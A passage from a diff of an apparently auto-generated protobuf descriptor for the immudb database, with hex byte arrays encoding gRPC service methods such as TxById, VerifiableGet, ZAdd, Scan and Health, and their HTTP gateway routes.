0x75, 0x6e, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, + 0x64, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, + 0x74, 0x78, 0x7d, 0x12, 0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, + 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, + 0x61, 0x6e, 0x12, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, + 0x06, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, + 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, + 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x6b, 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, + 0x66, 0x6f, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, + 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x92, 0x41, 0x02, 0x62, + 0x00, 0x12, 0x55, 0x0a, 0x06, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, 0x65, 0x61, + 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, + 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, + 0x62, 0x00, 0x12, 0x5d, 0x0a, 0x0c, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, + 0x74, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0b, 0x12, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, 0x92, 0x41, 0x02, 0x62, + 0x00, 0x12, 0x65, 0x0a, 0x0c, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, + 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, + 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, + 0x6e, 0x63, 0x65, 0x12, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, + 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x20, 0x22, 0x1b, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, + 0x3a, 0x01, 0x2a, 0x12, 0x50, 0x0a, 0x04, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x1a, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, - 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, - 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, - 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, - 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, - 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, - 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, - 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, - 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, - 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x59, - 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, - 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, - 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, - 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, - 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, - 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, - 0x64, 0x62, 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, - 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, - 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, - 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, - 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, - 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, - 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, - 0x79, 0x49, 0x64, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, - 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, - 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, + 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x61, + 0x64, 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x73, 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, - 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0b, 0x22, 0x06, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x07, - 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, - 0x6f, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x6b, 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, - 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, - 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0d, 0x12, 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x92, 0x41, - 0x02, 0x62, 0x00, 0x12, 0x55, 0x0a, 0x06, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, - 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, - 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, - 0x41, 0x02, 0x62, 0x00, 0x12, 0x5d, 0x0a, 0x0c, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, - 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, - 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0b, 0x12, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, 0x92, 0x41, - 0x02, 0x62, 0x00, 0x12, 0x65, 0x0a, 0x0c, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, - 0x6e, 0x63, 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 